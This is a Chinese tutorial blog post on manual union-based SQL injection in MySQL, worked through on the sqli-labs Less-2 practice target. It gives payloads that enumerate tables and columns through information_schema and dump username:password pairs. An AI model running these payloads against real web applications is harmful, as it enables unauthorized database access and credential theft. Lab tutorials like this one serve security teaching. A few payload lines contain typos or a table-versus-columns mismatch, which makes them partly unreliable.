SQL注入

1.1什么是SQL注入

SQL 注入(Injection) 概述


SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

web应用程序三层架构:视图层 + 业务逻辑层 + 数据访问层

 

SQL注入之数据库概述

数据库就是一个存储数据的仓库,数据库是以一定方式存储在一起,能与多个用户共享,具有尽可能小的冗余,与应用程序彼此独立的数据集合。

关系型数据库

关系型数据库,存储的格式可以直观地反映实体间的关系,和常见的表格比较相似

关系型数据库中表与表之间有很多复杂的关联关系的

常见的关系型数据库有MySQL,Orcale,PostgreSQL , SQL Server等。

非关系型数据库

随着近些年技术方向的不断扩展,大量的NoSQL数据库如 Mon goDB,Redis出于简化数据库结构,避免冗余,影响性能的表连接。摒弃复杂分布式的目的被设计

NoSQL数据库适合追求速度和可扩展性,业务多变的场景

数据库排行:https://db-engines.com/en/ranking

数据库服务器层级关系:

服务器里面

:多个数据库

            :多个数据表

                       :多个行 列 字段

                                              : 数据

 

SQL语句语法回顾:

查询当前数据库服务器所有的数据库

        show databases;

选中某个数据库

use 数据库名字

查询当前数据库所有的表
        show tables; 

查询users表所有数据
        查询关键 select 
        * 所有
        from  表名
        select * from users;

    条件查询 id=2
        where 条件  编程 if(条件 true){执行}

        select * from users where id=2;
        查询id=2   pass =111

 

union 合并查询 
        2个特性:
        前面查询的语句 和 后面的查询语句 结果互不干扰!
        前面的查询语句的字段数量 和 后面的查询语句字段数量  要一致

select id from t1 where id=-1 union select * from t1 where pass =111;

order by 排序
        order by 字段名字  id  也可以 跟上数字 1 2 3 4 .。。。。。

        猜解表的列数 知道表有几列  

 

一.系统库释义

提供了访问数据库元数据的方式

元数据是关于数据库的数据,如数据库名和表名,列的数据类型或访问权限。

1.information_schema 库:是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;

例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。

SCHEMATA 表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。

    TABLES表:提供了关于数据中表的信息。table_name

    COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name

2、performance_schema库具有87张表。 MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。

3、mysql库是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。 常用举例:在mysql.user表中修改root用户的密码

4、sys库具有1个表,100个视图。 sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。 可以查询谁使用了最多的资源,哪张表访问最多等。

SQL注入之MYSQL手工注入

本章节重点在于熟悉注入流程,以及注入原理。练习靶场为sqli-labs第二关数字型注入。

sqli-labs数字型注入

image.png

 

在url中输入id值,执行查询sql语句。即可得到对应数据

less-2源码分析:

浏览器 进行数据提交 服务器 :  

get 提交  :  url   数据长度 
     速度快  
     用于: 

post 提交 : 服务器    安全性   数据量 

注入流程

注入语句

尝试手工注入:
        SQL注入: 
        1.判断有无注入点   and 1 = 1; true 
        随便输入内容  ==  报错  注入
                      ==  没有注入
         2.猜解列名数量 order by %20 空格
        字段 4个

        3.报错,判断回显点 union 
        4.信息收集 
          数据库版本 version()
          高版本:5.0  
            系统库: infromation 。。。
          数据库名称:database()
          低版本:5.0 
        5.使用对应SQL进行注入  
            数据库库名:security
        . 下一级  
        infromation_schema.tables 查找表名
        table_name
        查询serurity库下面 所有的表名 

        database()


        = 前后 连到一起
        union select 1,group_concat(table_name),3 from information_schema.tables
        where table_schema=database()
       

        表: users
        如何查询表里面有那些字段? 
        user 字符 转换 16进制
        union select 1,group_concat(column_name),3 from information_schema.columns
        where table_name=0x7573657273

        username  password  字段数据  
        select username,password from users
        0x3a  :
        union select 1,2,(select group_concat(username,0x3a,password)from users)
          
          union select 1,group_concat(column_name),3 from information_schema.colmns where table_name=0x7573657273

靶场复现

1.打开sqli-labs 第二关靶场

2.提示我们请输入id作为数值参数,那我门就在url中添加一个数值参数

 3.判断有无注入点,可以使用and 1=1 或者随便加个单引号

报错了,说明我所添加的单引号已经放到数据库中执行了,但是我的语法不正确,所以它会出现报错信息,但正是这报错信息,才能证明在这个环境中,有注入点

4.猜解列名数量,为下一步的union联合查询做铺垫(不要忘记union的两个特性,前面查询的语句 和 后面的查询语句 结果互不干扰!前面的查询语句的字段数量 和 后面的查询语句字段数量  要一致)

可以看到我在猜解字段的时候,猜解到4的时候就报错了,所以说明这里的字段为3

5.报错,判断回显点

把前面的那个sql语句给它输入一个不存在的参数,从而让它查询不到任何的结果,输出不了任何的内容,随后我们后面跟上 union select 1,2,3 ,可以看到页面上2和3被正常的回显出来了,我们的回显点就是name 和password这两个

6.信息收集

既然我们找到回显点了,那我门就可以利用回显点来查看我们注入的结果

权限的信息收集  user()

我们在2的那个回显点中,就可以拼接上user函数来查看我们当前数据库的一个用户权限

版本信息收集

同样,我们也可以在3的那个回显点中拼接version()函数来查看当前数据库的一个版本,数据库的高低版本的不同,我们也可以用不同的方式来注入

7.构建sql进行注入

查询serurity库下面 所有的表名

    payload为 id=-1 union select 1,group_concat(table_name),3 from information_schema.columns where table_schema=database()

     如何查询表里面有那些字段

payload为:id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273

  • 13
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值